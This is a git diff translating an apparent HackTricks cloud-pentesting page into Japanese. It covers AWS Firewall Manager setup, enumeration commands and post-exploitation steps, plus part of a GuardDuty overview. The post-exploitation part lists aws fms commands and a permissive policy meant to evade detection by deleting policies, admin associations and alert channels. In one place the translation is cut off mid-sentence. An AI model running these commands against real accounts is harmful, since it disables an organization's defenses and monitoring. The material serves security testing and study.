は、セキュリティグループポリシーの構成と管理を簡素化するために、**管理されたアプリケーションおよびプロトコルリスト**を提供します。これらのリストを使用すると、ポリシーによって許可または拒否されるプロトコルとアプリケーションを定義できます。管理されたリストには2種類があります： -- **Firewall Manager managed lists**: These lists include **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** and **FMS-Default-Protocols-Allowed**. They are managed by Firewall Manager and include commonly used applications and protocols that should be allowed or denied to the general public. It is not possible to edit or delete them, however, you can choose its version. -- **Custom managed lists**: You manage these lists yourself. You can create custom application and protocol lists tailored to your organization's needs. Unlike Firewall Manager managed lists, these lists do not have versions, but you have full control over custom lists, allowing you to create, edit, and delete them as required. +- **Firewall Manager 管理リスト**: これらのリストには、**FMS-Default-Public-Access-Apps-Allowed**、**FMS-Default-Protocols-Allowed**、および **FMS-Default-Protocols-Allowed** が含まれます。これらは Firewall Manager によって管理され、一般の人々に許可または拒否されるべき一般的に使用されるアプリケーションとプロトコルが含まれています。これらを編集または削除することはできませんが、バージョンを選択することはできます。 +- **カスタム管理リスト**: これらのリストは自分で管理します。組織のニーズに合わせたカスタムアプリケーションおよびプロトコルリストを作成できます。Firewall Manager 管理リストとは異なり、これらのリストにはバージョンがありませんが、カスタムリストに対して完全な制御があり、必要に応じて作成、編集、削除できます。 -It's important to note that **Firewall Manager policies permit only "Block" or "Count" actions** for a rule group, without an "Allow" option. +**Firewall Manager ポリシーは、ルールグループに対して「ブロック」または「カウント」アクションのみを許可**し、「許可」オプションはありません。 -### Prerequisites +### 前提条件 -The following prerequisite steps must be completed before proceeding to configure Firewall Manager to begin protecting your organization's resources effectively. These steps provide the foundational setup required for Firewall Manager to enforce security policies and ensure compliance across your AWS environment: +Firewall Manager を構成して組織のリソースを効果的に保護するために、次の前提条件を完了する必要があります。これらのステップは、Firewall Manager がセキュリティポリシーを適用し、AWS 環境全体でコンプライアンスを確保するために必要な基盤設定を提供します： -1. **Join and configure AWS Organizations:** Ensure your AWS account is part of the AWS Organizations organization where the AWS Firewall Manager policies are planned to be implanted. This allows for centralized management of resources and policies across multiple AWS accounts within the organization. -2. **Create an AWS Firewall Manager Default Administrator Account:** Establish a default administrator account specifically for managing Firewall Manager security policies. This account will be responsible for configuring and enforcing security policies across the organization. Just the management account of the organization is able to create Firewall Manager default administrator accounts. -3. **Enable AWS Config:** Activate AWS Config to provide Firewall Manager with the necessary configuration data and insights required to effectively enforce security policies. AWS Config helps analyze, audit, monitor and audit resource configurations and changes, facilitating better security management. -4. **For Third-Party Policies, Subscribe in the AWS Marketplace and Configure Third-Party Settings:** If you plan to utilize third-party firewall policies, subscribe to them in the AWS Marketplace and configure the necessary settings. This step ensures that Firewall Manager can integrate and enforce policies from trusted third-party vendors. -5. **For Network Firewall and DNS Firewall Policies, enable resource sharing:** Enable resource sharing specifically for Network Firewall and DNS Firewall policies. This allows Firewall Manager to apply firewall protections to your organization's VPCs and DNS resolution, enhancing network security. -6. **To use AWS Firewall Manager in Regions that are disabled by default:** If you intend to use Firewall Manager in AWS regions that are disabled by default, ensure that you take the necessary steps to enable its functionality in those regions. This ensures consistent security enforcement across all regions where your organization operates. +1. **AWS Organizations に参加し、設定する**: AWS アカウントが、AWS Firewall Manager ポリシーが実装される予定の AWS Organizations 組織の一部であることを確認します。これにより、組織内の複数の AWS アカウントにわたるリソースとポリシーの集中管理が可能になります。 +2. **AWS Firewall Manager デフォルト管理者アカウントを作成する**: Firewall Manager セキュリティポリシーを管理するためのデフォルト管理者アカウントを作成します。このアカウントは、組織全体でセキュリティポリシーを構成し、適用する責任を負います。組織の管理アカウントのみが Firewall Manager デフォルト管理者アカウントを作成できます。 +3. **AWS Config を有効にする**: AWS Config を有効にして、Firewall Manager にセキュリティポリシーを効果的に適用するために必要な構成データと洞察を提供します。AWS Config は、リソースの構成と変更を分析、監査、監視し、より良いセキュリティ管理を促進します。 +4. **サードパーティポリシーについては、AWS Marketplace でサブスクリプションし、サードパーティ設定を構成する**: サードパーティファイアウォールポリシーを利用する予定がある場合は、AWS Marketplace でそれらにサブスクリプションし、必要な設定を構成します。このステップにより、Firewall Manager が信頼できるサードパーティベンダーのポリシーを統合し、適用できるようになります。 +5. **Network Firewall および DNS Firewall ポリシーについては、リソース共有を有効にする**: Network Firewall および DNS Firewall ポリシー専用にリソース共有を有効にします。これにより、Firewall Manager が組織の VPC と DNS 解決にファイアウォール保護を適用でき、ネットワークセキュリティが向上します。 +6. **デフォルトで無効になっているリージョンで AWS Firewall Manager を使用するには**: デフォルトで無効になっている AWS リージョンで Firewall Manager を使用する予定がある場合は、それらのリージョンでの機能を有効にするために必要な手順を実行してください。これにより、組織が運営するすべてのリージョンで一貫したセキュリティの適用が確保されます。 -For more information, check: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). +詳細については、次を確認してください: [AWS Firewall Manager AWS WAF ポリシーの開始](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html)。 -### Types of protection policies +### 保護ポリシーの種類 -AWS Firewall Manager manages several types of policies to enforce security controls across different aspects of your organization's infrastructure: +AWS Firewall Manager は、組織のインフラストラクチャのさまざまな側面にわたってセキュリティコントロールを適用するために、いくつかの種類のポリシーを管理します： -1. **AWS WAF Policy:** This policy type supports both AWS WAF and AWS WAF Classic. You can define which resources are protected by the policy. For AWS WAF policies, you can specify sets of rule groups to run first and last in the web ACL. Additionally, account owners can add rules and rule groups to run in between these sets. -2. **Shield Advanced Policy:** This policy applies Shield Advanced protections across your organization for specified resource types. It helps safeguard against DDoS attacks and other threats. -3. **Amazon VPC Security Group Policy:** With this policy, you can manage security groups used throughout your organization, enforcing a baseline set of rules across your AWS environment to control network access. -4. **Amazon VPC Network Access Control List (ACL) Policy:** This policy type gives you control over network ACLs used in your organization, allowing you to enforce a baseline set of network ACLs across your AWS environment. -5. **Network Firewall Policy:** This policy applies AWS Network Firewall protection to your organization's VPCs, enhancing network security by filtering traffic based on predefined rules. -6. **Amazon Route 53 Resolver DNS Firewall Policy:** This policy applies DNS Firewall protections to your organization's VPCs, helping to block malicious domain resolution attempts and enforce security policies for DNS traffic. -7. **Third-Party Firewall Policy:** This policy type applies protections from third-party firewalls, which are available by subscription through the AWS Marketplace console. It allows you to integrate additional security measures from trusted vendors into your AWS environment. - 1. **Palo Alto Networks Cloud NGFW Policy:** This policy applies Palo Alto Networks Cloud Next Generation Firewall (NGFW) protections and rulestacks to your organization's VPCs, providing advanced threat prevention and application-level security controls. - 2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** This policy applies Fortigate Cloud Native Firewall (CNF) as a Service protections, offering industry-leading threat prevention, web application firewall (WAF), and API protection tailored for cloud infrastructures. +1. **AWS WAF ポリシー**: このポリシータイプは、AWS WAF と AWS WAF Classic の両方をサポートします。ポリシーによって保護されるリソースを定義できます。AWS WAF ポリシーの場合、Web ACL 内で最初と最後に実行するルールグループのセットを指定できます。さらに、アカウント所有者は、これらのセットの間で実行するルールとルールグループを追加できます。 +2. **Shield Advanced ポリシー**: このポリシーは、指定されたリソースタイプに対して組織全体で Shield Advanced 保護を適用します。DDoS 攻撃やその他の脅威から保護するのに役立ちます。 +3. **Amazon VPC セキュリティグループポリシー**: このポリシーを使用すると、組織全体で使用されるセキュリティグループを管理し、AWS 環境全体でネットワークアクセスを制御するための基本的なルールセットを適用できます。 +4. **Amazon VPC ネットワークアクセス制御リスト (ACL) ポリシー**: このポリシータイプは、組織で使用されるネットワーク ACL を制御し、AWS 環境全体で基本的なネットワーク ACL を適用できるようにします。 +5. **Network Firewall ポリシー**: このポリシーは、組織の VPC に AWS Network Firewall 保護を適用し、事前定義されたルールに基づいてトラフィックをフィルタリングすることでネットワークセキュリティを強化します。 +6. **Amazon Route 53 Resolver DNS Firewall ポリシー**: このポリシーは、組織の VPC に DNS Firewall 保護を適用し、悪意のあるドメイン解決試行をブロックし、DNS トラフィックのセキュリティポリシーを適用するのに役立ちます。 +7. **サードパーティファイアウォールポリシー**: このポリシータイプは、AWS Marketplace コンソールを通じてサブスクリプション可能なサードパーティファイアウォールからの保護を適用します。信頼できるベンダーからの追加のセキュリティ対策を AWS 環境に統合できます。 +1. **Palo Alto Networks Cloud NGFW ポリシー**: このポリシーは、Palo Alto Networks Cloud Next Generation Firewall (NGFW) の保護とルールスタックを組織の VPC に適用し、高度な脅威防止とアプリケーションレベルのセキュリティコントロールを提供します。 +2. **Fortigate Cloud Native Firewall (CNF) as a Service ポリシー**: このポリシーは、Fortigate Cloud Native Firewall (CNF) as a Service の保護を適用し、クラウドインフラストラクチャ向けに業界をリードする脅威防止、Web アプリケーションファイアウォール (WAF)、および API 保護を提供します。 -### Administrator accounts +### 管理者アカウント -AWS Firewall Manager offers flexibility in managing firewall resources within your organization through its administrative scope and two types of administrator accounts. +AWS Firewall Manager は、管理スコープと2種類の管理者アカウントを通じて、組織内のファイアウォールリソースの管理に柔軟性を提供します。 -**Administrative scope defines the resources that a Firewall Manager administrator can manage**. After an AWS Organizations management account onboards an organization to Firewall Manager, it can create additional administrators with different administrative scopes. These scopes can include: +**管理スコープは、Firewall Manager 管理者が管理できるリソースを定義します**。AWS Organizations の管理アカウントが組織を Firewall Manager にオンボードすると、異なる管理スコープを持つ追加の管理者を作成できます。これらのスコープには以下が含まれます： -- Accounts or organizational units (OUs) that the administrator can apply policies to. -- Regions where the administrator can perform actions. -- Firewall Manager policy types that the administrator can manage. +- 管理者がポリシーを適用できるアカウントまたは組織単位 (OU)。 +- 管理者がアクションを実行できるリージョン。 +- 管理者が管理できる Firewall Manager ポリシータイプ。 -Administrative scope can be either **full or restricted**. Full scope grants the administrator access to **all specified resource types, regions, and policy types**. In contrast, **restricted scope provides administrative permission to only a subset of resources, regions, or policy types**. It's advisable to grant administrators only the permissions they need to fulfill their roles effectively. You can apply any combination of these administrative scope conditions to an administrator, ensuring adherence to the principle of least privilege. +管理スコープは、**フルまたは制限付き**のいずれかです。フルスコープは、管理者に**すべての指定されたリソースタイプ、リージョン、およびポリシータイプ**へのアクセスを付与します。一方、**制限付きスコープは、リソース、リージョン、またはポリシータイプのサブセットに対してのみ管理権限を提供します**。管理者には、役割を効果的に果たすために必要な権限のみを付与することが推奨されます。これらの管理スコープ条件の任意の組み合わせを管理者に適用し、最小権限の原則を遵守することができます。 -There are two distinct types of administrator accounts, each serving specific roles and responsibilities: +管理者アカウントには、特定の役割と責任を果たすための2つの異なるタイプがあります： -- **Default Administrator:** - - The default administrator account is created by the AWS Organizations organization's management account during the onboarding process to Firewall Manager. - - This account has the capability to manage third-party firewalls and possesses full administrative scope. - - It serves as the primary administrator account for Firewall Manager, responsible for configuring and enforcing security policies across the organization. - - While the default administrator has full access to all resource types and administrative functionalities, it operates at the same peer level as other administrators if multiple administrators are utilized within the organization. -- **Firewall Manager Administrators:** - - These administrators can manage resources within the scope designated by the AWS Organizations management account, as defined by the administrative scope configuration. - - Firewall Manager administrators are created to fulfill specific roles within the organization, allowing for delegation of responsibilities while maintaining security and compliance standards. - - Upon creation, Firewall Manager checks with AWS Organizations to determine if the account is already a delegated administrator. If not, Firewall Manager calls Organizations to designate the account as a delegated administrator for Firewall Manager. +- **デフォルト管理者**: +- デフォルト管理者アカウントは、AWS Organizations 組織の管理アカウントによって Firewall Manager へのオンボーディングプロセス中に作成されます。 +- このアカウントは、サードパーティファイアウォールを管理する能力を持ち、完全な管理スコープを持っています。 +- 組織全体でセキュリティポリシーを構成し、適用する責任を負う Firewall Manager の主要な管理者アカウントとして機能します。 +- デフォルト管理者は、すべてのリソースタイプおよび管理機能に完全にアクセスできますが、組織内で複数の管理者が利用されている場合、他の管理者と同じピアレベルで操作します。 +- **Firewall Manager 管理者**: +- これらの管理者は、AWS Organizations 管理アカウントによって定義された管理スコープに従って、リソースを管理できます。 +- Firewall Manager 管理者は、組織内で特定の役割を果たすために作成され、責任の委任を可能にしながら、セキュリティとコンプライアンス基準を維持します。 +- 作成時に、Firewall Manager は AWS Organizations に確認して、アカウントがすでに委任された管理者であるかどうかを判断します。そうでない場合、Firewall Manager は Organizations に呼び出して、アカウントを Firewall Manager の委任された管理者として指定します。 -Managing these administrator accounts involves creating them within Firewall Manager and defining their administrative scopes according to the organization's security requirements and the principle of least privilege. By assigning appropriate administrative roles, organizations can ensure effective security management while maintaining granular control over access to sensitive resources. +これらの管理者アカウントの管理には、Firewall Manager 内での作成と、組織のセキュリティ要件および最小権限の原則に従った管理スコープの定義が含まれます。適切な管理役割を割り当てることで、組織は効果的なセキュリティ管理を確保しながら、機密リソースへのアクセスを細かく制御できます。 -It is important to highlight that **only one account within an organization can serve as the Firewall Manager default administrator**, adhering to the principle of "**first in, last out**". To designate a new default administrator, a series of steps must be followed: +**組織内で Firewall Manager デフォルト管理者として機能できるのは、1つのアカウントのみであることを強調することが重要です**。これは「**最初に入ったものが最後に出る**」という原則に従います。新しいデフォルト管理者を指定するには、一連の手順を実行する必要があります： -- First, each Firewall Administrator administrator account must revoke their own account. -- Then, the existing default administrator can revoke their own account, effectively offboarding the organization from Firewall Manager. This process results in the deletion of all Firewall Manager policies created by the revoked account. -- To conclude, the AWS Organizations management account must designate the Firewall Manager dafault administrator. +- まず、各 Firewall Administrator 管理者アカウントは、自分のアカウントを取り消す必要があります。 +- 次に、既存のデフォルト管理者は、自分のアカウントを取り消すことができ、これにより組織が Firewall Manager からオフボードされます。このプロセスにより、取り消されたアカウントによって作成されたすべての Firewall Manager ポリシーが削除されます。 +- 最後に、AWS Organizations 管理アカウントが Firewall Manager デフォルト管理者を指定する必要があります。 ## Enumeration - ``` # Users/Administrators @@ -162,66 +161,58 @@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` - -## Post Exploitation / Bypass Detection +## ポストエクスプロイテーション / 検出バイパス ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) -An attacker with the **`fms:AssociateAdminAccount`** permission would be able to set the Firewall Manager default administrator account. With the **`fms:PutAdminAccount`** permission, an attacker would be able to create or updatea Firewall Manager administrator account and with the **`fms:DisassociateAdminAccount`** permission, a potential attacker could remove the current Firewall Manager administrator account association. - -- The disassociation of the **Firewall Manager default administrator follows the first-in-last-out policy**. All the Firewall Manager administrators must disassociate before the Firewall Manager default administrator can disassociate the account. -- In order to create a Firewall Manager administrator by **PutAdminAccount**, the account must belong to the organization that was previously onboarded to Firewall Manager using **AssociateAdminAccount**. -- The creation of a Firewall Manager administrator account can only be done by the organization's management account. +**`fms:AssociateAdminAccount`** 権限を持つ攻撃者は、Firewall Managerのデフォルト管理者アカウントを設定することができます。**`fms:PutAdminAccount`** 権限を持つ攻撃者は、Firewall Manager管理者アカウントを作成または更新することができ、**`fms:DisassociateAdminAccount`** 権限を持つ潜在的な攻撃者は、現在のFirewall Manager管理者アカウントの関連付けを削除することができます。 +- **Firewall Managerのデフォルト管理者の非関連付けは、先入れ後出しポリシーに従います**。すべてのFirewall Manager管理者は、Firewall Managerのデフォルト管理者がアカウントを非関連付ける前に非関連付けを行う必要があります。 +- **PutAdminAccount** によってFirewall Manager管理者を作成するには、アカウントは以前に**AssociateAdminAccount**を使用してFirewall Managerにオンボードされた組織に属している必要があります。 +- Firewall Manager管理者アカウントの作成は、組織の管理アカウントによってのみ行うことができます。 ```bash aws fms associate-admin-account --admin-account aws fms disassociate-admin-account aws fms put-admin-account --admin-account ``` - -**Potential Impact:** Loss of centralized management, policy evasion, compliance violations, and disruption of security controls within the environment. +**潜在的な影響:** 中央管理の喪失、ポリシーの回避、コンプライアンス違反、および環境内のセキュリティコントロールの中断。 ### `fms:PutPolicy`, `fms:DeletePolicy` -An attacker with the **`fms:PutPolicy`**, **`fms:DeletePolicy`** permissions would be able to create, modify or permanently delete an AWS Firewall Manager policy. - +**`fms:PutPolicy`**、**`fms:DeletePolicy`** 権限を持つ攻撃者は、AWS Firewall Manager ポリシーを作成、変更、または永久に削除することができます。 ```bash aws fms put-policy --policy | --cli-input-json file:// [--tag-list ] aws fms delete-policy --policy-id [--delete-all-policy-resources | --no-delete-all-policy-resources] ``` - -An example of permisive policy through permisive security group, in order to bypass the detection, could be the following one: - +許可されたセキュリティグループを通じて許可されたポリシーの例は、検出を回避するために次のようになります： ```json { - "Policy": { - "PolicyName": "permisive_policy", - "SecurityServicePolicyData": { - "Type": "SECURITY_GROUPS_COMMON", - "ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" - }, - "ResourceTypeList": [ - "AWS::EC2::Instance", - "AWS::EC2::NetworkInterface", - "AWS::EC2::SecurityGroup", - "AWS::ElasticLoadBalancingV2::LoadBalancer", - "AWS::ElasticLoadBalancing::LoadBalancer" - ], - "ResourceType": "AWS::EC2::SecurityGroup", - "ExcludeResourceTags": false, - "ResourceTags": [], - "RemediationEnabled": true - }, - "TagList": [] +"Policy": { +"PolicyName": "permisive_policy", +"SecurityServicePolicyData": { +"Type": "SECURITY_GROUPS_COMMON", +"ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" +}, +"ResourceTypeList": [ +"AWS::EC2::Instance", +"AWS::EC2::NetworkInterface", +"AWS::EC2::SecurityGroup", +"AWS::ElasticLoadBalancingV2::LoadBalancer", +"AWS::ElasticLoadBalancing::LoadBalancer" +], +"ResourceType": "AWS::EC2::SecurityGroup", +"ExcludeResourceTags": false, +"ResourceTags": [], +"RemediationEnabled": true +}, +"TagList": [] } ``` - -**Potential Impact:** Dismantling of security controls, policy evasion, compliance violations, operational disruptions, and potential data breaches within the environment. +**潜在的な影響:** セキュリティコントロールの解体、ポリシーの回避、コンプライアンス違反、運用の中断、及び環境内での潜在的なデータ侵害。 ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -An attacker with the **`fms:BatchAssociateResource`** and **`fms:BatchDisassociateResource`** permissions would be able to associate or disassociate resources from a Firewall Manager resource set respectively. In addition, the **`fms:PutResourceSet`** and **`fms:DeleteResourceSet`** permissions would allow an attacker to create, modify or delete these resource sets from AWS Firewall Manager. - +**`fms:BatchAssociateResource`** および **`fms:BatchDisassociateResource`** 権限を持つ攻撃者は、それぞれファイアウォールマネージャーのリソースセットからリソースを関連付けたり、関連付けを解除したりすることができます。さらに、**`fms:PutResourceSet`** および **`fms:DeleteResourceSet`** 権限により、攻撃者はAWS Firewall Managerからこれらのリソースセットを作成、変更、または削除することが可能になります。 ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -231,83 +222,64 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` - -**Potential Impact:** The addition of an unnecessary amount of items to a resource set will increase the level of noise in the Service potentially causing a DoS. In addition, changes of the resource sets could lead to a resource disruption, policy evasion, compliance violations, and disruption of security controls within the environment. +**潜在的な影響:** リソースセットに不必要なアイテムを追加すると、サービス内のノイズレベルが増加し、DoSを引き起こす可能性があります。さらに、リソースセットの変更は、リソースの中断、ポリシーの回避、コンプライアンス違反、環境内のセキュリティ制御の中断を引き起こす可能性があります。 ### `fms:PutAppsList`, `fms:DeleteAppsList` -An attacker with the **`fms:PutAppsList`** and **`fms:DeleteAppsList`** permissions would be able to create, modify or delete application lists from AWS Firewall Manager. This could be critical, as unauthorized applications could be allowed access to the general public, or access to authorized applications could be denied, causing a DoS. - +**`fms:PutAppsList`** および **`fms:DeleteAppsList`** 権限を持つ攻撃者は、AWS Firewall Managerからアプリケーションリストを作成、変更、または削除することができます。これは重要であり、無許可のアプリケーションが一般公開される可能性がある一方で、許可されたアプリケーションへのアクセスが拒否され、DoSを引き起こす可能性があります。 ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. - -### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` - -An attacker with the **`fms:PutProtocolsList`** and **`fms:DeleteProtocolsList`** permissions would be able to create, modify or delete protocols lists from AWS Firewall Manager. Similarly as with applications lists, this could be critical since unauthorized protocols could be used by the general public, or the use of authorized protocols could be denied, causing a DoS. - +**潜在的影響:** これにより、 ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**潜在的な影響:** これにより、設定ミス、ポリシー回避、コンプライアンス違反、環境内のセキュリティ制御の中断が発生する可能性があります。 ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` -An attacker with the **`fms:PutNotificationChannel`** and **`fms:DeleteNotificationChannel`** permissions would be able to delete and designate the IAM role and Amazon Simple Notification Service (SNS) topic that Firewall Manager uses to record SNS logs. +**`fms:PutNotificationChannel`** および **`fms:DeleteNotificationChannel`** 権限を持つ攻撃者は、Firewall ManagerがSNSログを記録するために使用するIAMロールとAmazon Simple Notification Service (SNS)トピックを削除および指定することができます。 -To use **`fms:PutNotificationChannel`** outside of the console, you need to set up the SNS topic's access policy, allowing the specified **SnsRoleName** to publish SNS logs. If the provided **SnsRoleName** is a role other than the **`AWSServiceRoleForFMS`**, it requires a trust relationship configured to permit the Firewall Manager service principal **fms.amazonaws.com** to assume this role. +**`fms:PutNotificationChannel`** をコンソールの外で使用するには、指定された **SnsRoleName** がSNSログを公開できるようにSNSトピックのアクセスポリシーを設定する必要があります。提供された **SnsRoleName** が **`AWSServiceRoleForFMS`** 以外のロールである場合、Firewall Managerサービスプリンシパル **fms.amazonaws.com** がこのロールを引き受けることを許可する信頼関係が構成されている必要があります。 -For information about configuring an SNS access policy: +SNSアクセスポリシーの構成に関する情報: {{#ref}} ../aws-sns-enum.md {{#endref}} - ```bash aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` - -**Potential Impact:** This would potentially lead to miss security alerts, delayed incident response, potential data breaches and operational disruptions within the environment. +**潜在的な影響:** これにより、セキュリティアラートの見逃し、インシデント対応の遅延、データ漏洩の可能性、環境内での運用の混乱が引き起こされる可能性があります。 ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -An attacker with the **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** permissions would be able to associate or disassociate third-party firewalls from being managed centrally through AWS Firewall Manager. +**`fms:AssociateThirdPartyFirewall`**、**`fms:DisssociateThirdPartyFirewall`** の権限を持つ攻撃者は、AWS Firewall Managerを通じて中央管理されるサードパーティファイアウォールを関連付けたり、関連付けを解除したりすることができます。 > [!WARNING] -> Only the default administrator can create and manage third-party firewalls. - +> デフォルトの管理者のみがサードパーティファイアウォールを作成および管理できます。 ```bash aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` - -**Potential Impact:** The disassociation would lead to a policy evasion, compliance violations, and disruption of security controls within the environment. The association on the other hand would lead to a disruption of cost and budget allocation. +**潜在的な影響:** 切断はポリシーの回避、コンプライアンス違反、環境内のセキュリティコントロールの混乱を引き起こすことになります。一方、関連付けはコストと予算の配分の混乱を引き起こすことになります。 ### `fms:TagResource`, `fms:UntagResource` -An attacker would be able to add, modify, or remove tags from Firewall Manager resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +攻撃者はFirewall Managerリソースからタグを追加、変更、または削除することができ、組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーを混乱させることになります。 ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys ``` +**潜在的影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。 -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. - -## References +## 参考文献 - [https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html](https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html) - [https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html](https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 2794852d3..78a6037c2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,22 +4,22 @@ ## GuardDuty -According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combines **machine learning, anomaly detection, network monitoring, and malicious file discovery**, using both AWS and industry-leading third-party sources to help protect workloads and data on AWS. GuardDuty is capable of analysing tens of billions of events across multiple AWS data sources, such as AWS CloudTrail event logs, Amazon Virtual Private Cloud (VPC) Flow Logs, Amazon Elastic Kubernetes Service (EKS) audit and system-level logs, and DNS query logs. +According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDutyは、**機械学習、異常検知、ネットワーク監視、悪意のあるファイル発見**を組み合わせ、AWSおよび業界をリードするサードパーティのソースを使用して、AWS上のワークロードとデータを保護します。GuardDutyは、AWS CloudTrailイベントログ、Amazon Virtual Private Cloud (VPC) フローログ、Amazon Elastic Kubernetes Service (EKS) 監査およびシステムレベルのログ、DNSクエリログなど、複数のAWSデータソースにわたる数十億のイベントを分析することができます。 -Amazon GuardDuty **identifies unusual activity within your accounts**, analyses the **security relevanc**e of the activity, and gives the **context** in which it was invoked. This allows a responder to determine if they should spend time on further investigation. +Amazon GuardDutyは、**アカウント内の異常な活動を特定**し、その活動の**セキュリティ関連性**を分析し、活動が発生した**コンテキスト**を提供します。これにより、応答者はさらなる調査に時間を費やすべきかどうかを判断できます。 -Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events. +アラートは**GuardDutyコンソール（90日間）**およびCloudWatch Eventsに表示されます。 > [!WARNING] -> When a user **disable GuardDuty**, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the **existing findings will be lost**.\ -> If you just stop it, the existing findings will remain. +> ユーザーが**GuardDutyを無効にすると**、AWS環境の監視が停止し、新しい発見は一切生成されず、**既存の発見は失われます**。\ +> ただ停止するだけの場合、既存の発見は残ります。 ### Findings Example -- **Reconnaissance**: Activity suggesting reconnaissance by an attacker, such as **unusual API activity**, suspicious database **login** attempts, intra-VPC **port scanning**, unusual failed login request patterns, or unblocked port probing from a known bad IP. -- **Instance compromise**: Activity indicating an instance compromise, such as **cryptocurrency mining, backdoor command and control (C\&C)** activity, malware using domain generation algorithms (DGA), outbound denial of service activity, unusually **high network** traffic volume, unusual network protocols, outbound instance communication with a known malicious IP, temporary Amazon EC2 credentials used by an external IP address, and data exfiltration using DNS. -- **Account compromise**: Common patterns indicative of account compromise include API calls from an unusual geolocation or anonymizing proxy, attempts to disable AWS CloudTrail logging, changes that weaken the account password policy, unusual instance or infrastructure launches, infrastructure deployments in an unusual region, credential theft, suspicious database login activity, and API calls from known malicious IP addresses. -- **Bucket compromise**: Activity indicating a bucket compromise, such as suspicious data access patterns indicating credential misuse, unusual Amazon S3 API activity from a remote host, unauthorized S3 access from known malicious IP addresses, and API calls to retrieve data in S3 buckets from a user with no prior history of accessing the bucket or invoked from an unusual location. Amazon GuardDuty continuously monitors and analyzes AWS CloudTrail S3 data events (e.g. GetObject, ListObjects, DeleteObject) to detect suspicious activity across all of your Amazon S3 buckets. +- **偵察**: **異常なAPI活動**、疑わしいデータベース**ログイン**試行、VPC内の**ポートスキャン**、異常な失敗したログイン要求パターン、または既知の悪意のあるIPからのブロックされていないポートのプロービングなど、攻撃者による偵察を示唆する活動。 +- **インスタンスの侵害**: **暗号通貨マイニング、バックドアコマンドおよびコントロール（C\&C）**活動、ドメイン生成アルゴリズム（DGA）を使用するマルウェア、外向きのサービス拒否活動、異常に**高いネットワーク**トラフィック量、異常なネットワークプロトコル、既知の悪意のあるIPとの外向きインスタンス通信、外部IPアドレスによって使用される一時的なAmazon EC2資格情報、DNSを使用したデータの流出を示す活動。 +- **アカウントの侵害**: アカウント侵害を示す一般的なパターンには、異常な地理的位置または匿名プロキシからのAPI呼び出し、AWS CloudTrailログの無効化の試み、アカウントパスワードポリシーを弱める変更、異常なインスタンスまたはインフラの起動、異常な地域でのインフラ展開、資格情報の盗難、疑わしいデータベースログイン活動、既知の悪意のあるIPアドレスからのAPI呼び出しが含まれます。 +- **バケットの侵害**: 資格情報の誤用を示す疑わしいデータアクセスパターン、リモートホストからの異常なAmazon S3 API活動、既知の悪意のあるIPアドレスからの不正なS3アクセス、またはバケットにアクセスした前歴のないユーザーからのS3バケット内のデータを取得するためのAPI呼び出しなど、バケットの侵害を示す活動。Amazon GuardDutyは、すべてのAmazon S3バケットにわたる疑わしい活動を検出するために、AWS CloudTrail S3データイベント（例：GetObject、ListObjects、DeleteObject）を継続的に監視および分析します。
